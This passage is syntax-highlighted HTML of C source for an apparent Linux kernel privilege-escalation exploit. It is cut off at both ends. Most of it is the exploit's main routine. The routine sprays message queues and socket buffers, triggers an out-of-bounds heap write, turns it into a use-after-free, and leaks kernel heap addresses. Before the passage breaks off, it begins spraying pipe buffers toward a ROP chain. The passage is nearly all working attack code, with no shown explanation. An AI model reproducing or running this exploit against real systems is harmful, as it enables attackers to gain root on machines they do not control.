function">free_skbuff</span><span class="token punctuation">(</span><span class="token keyword">int</span> ss<span class="token punctuation">[</span>NUM_SOCKETS<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>buf<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read</span><span class="token punctuation">(</span>ss<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> size<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token punctuation">&#123;</span>                <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] read"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token keyword">const</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> s<span class="token punctuation">;</span>    <span class="token keyword">int</span> msqid<span class="token punctuation">[</span>NUM_MSQIDS<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">int</span> ss<span class="token punctuation">[</span>NUM_SOCKETS<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">int</span> pipefd<span class="token punctuation">[</span>NUM_PIPEFDS<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">int</span> fake_id <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> real_id <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> primary_buf<span class="token punctuation">[</span>PRIMARY_SIZE <span class="token operator">-</span> SKB_SHARED_INFO_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> secondary_buf<span class="token punctuation">[</span>SECONDARY_SIZE <span class="token operator">-</span> SKB_SHARED_INFO_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>msg<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> kheap <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> msg_fake_addr <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> pipe_buffer_ops <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> kernel_base <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">,</span> kernel_offset <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">struct</span> <span class="token class-name">pipe_buf_operations</span> <span class="token operator">*</span>ops<span class="token punctuation">;</span>    <span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span>buf<span class="token punctuation">;</span>    <span class="token keyword">int</span> ridx <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> <span class="token operator">*</span>rop<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">setup_sandbox</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>s <span class="token operator">=</span> <span class="token function">socket</span><span class="token punctuation">(</span>AF_INET<span class="token punctuation">,</span> SOCK_STREAM<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"socket"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_PIPEFDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">socketpair</span><span class="token punctuation">(</span>AF_UNIX<span class="token punctuation">,</span> SOCK_STREAM<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> ss<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"socketpair"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Setup message queues"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>msqid<span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msqid<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">msgget</span><span class="token punctuation">(</span>IPC_PRIVATE<span class="token punctuation">,</span> IPC_CREAT <span class="token operator">|</span> <span class="token number">0666</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying primary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>msg_primary<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_primary<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_primary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_primary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_primary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_primary<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_PRIMARY<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying secondary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">memset</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> MSG_TAG<span class="token punctuation">;</span>        <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_SECONDARY<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*]  Creating holes in primary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> HOLE_STEP<span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i <span class="token operator">+=</span> HOLE_STEP<span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_primary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_primary<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_PRIMARY<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Trigger oob write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">trigger_oob_write</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Searching for corrupted primary message..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_MSQIDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>i <span class="token operator">!=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span><span class="token punctuation">(</span>i <span class="token operator">%</span> HOLE_STEP<span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">continue</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">peek_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">!=</span> MSG_TAG<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] MSG_TAG error\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">!=</span> i<span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            real_id <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">;</span>            fake_id <span class="token operator">=</span> i<span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>real_id <span class="token operator">==</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token operator">&amp;&amp;</span> fake_id <span class="token operator">==</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] Could not corrupt any primary message\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] real_id = %#x, fake_id = %#x\n"</span><span class="token punctuation">,</span> real_id<span class="token punctuation">,</span> fake_id<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Free secondary message and then gain UAF"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>real_id<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_SECONDARY<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying fake secondary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">build_msg_msg</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0x41414141</span><span class="token punctuation">,</span> <span class="token number">0x42424242</span><span class="token punctuation">,</span> PAGE_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">spray_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Leaking adjacent secondary message..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">peek_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>fake_id<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_fake<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_fake<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span>SECONDARY_SIZE<span class="token punctuation">]</span> <span class="token operator">!=</span> MSG_TAG<span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] Could not leak adjacent secondary message"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    msg <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span>SECONDARY_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span>    kheap <span class="token operator">=</span> msg<span class="token operator">-></span>m_list_next<span class="token punctuation">;</span> <span class="token comment">// kheap pointer to the primary message</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>kheap <span class="token operator">&amp;</span> <span class="token punctuation">(</span>PRIMARY_SIZE <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        kheap <span class="token operator">=</span> msg<span class="token operator">-></span>m_list_prev<span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] kheap = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> kheap<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Freeing skb..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">free_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying fake secondary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">build_msg_msg</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0x41414141</span><span class="token punctuation">,</span> <span class="token number">0x42424242</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">)</span><span class="token punctuation">,</span> kheap <span class="token operator">-</span> MSG_MSGSEG_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">spray_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Leaking address of msg_fake"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">peek_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>fake_id<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_fake<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_fake<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span>PAGE_SIZE<span class="token punctuation">]</span> <span class="token operator">!=</span> MSG_TAG<span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] Could not leak address of msg_fake\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    msg <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span>PAGE_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span>    msg_fake_addr <span class="token operator">=</span> msg<span class="token operator">-></span>m_list_next<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>msg_fake_addr <span class="token operator">&amp;</span> <span class="token punctuation">(</span>SECONDARY_SIZE <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        msg_fake_addr <span class="token operator">=</span> msg<span class="token operator">-></span>m_list_prev<span class="token punctuation">;</span>    msg_fake_addr <span class="token operator">-=</span> SECONDARY_SIZE<span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] address of msg_fake = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> msg_fake_addr<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Free secondary message and then gain UAF controlled by skb"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">free_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">build_msg_msg</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>secondary_buf<span class="token punctuation">,</span> msg_fake_addr<span class="token punctuation">,</span> msg_fake_addr<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">spray_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>fake_id<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_fake<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_fake<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_FAKE<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying pipe_buffer objects..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_PIPEFDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">pipe</span><span class="token punctuation">(</span>pipefd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">perror</span><span class="token 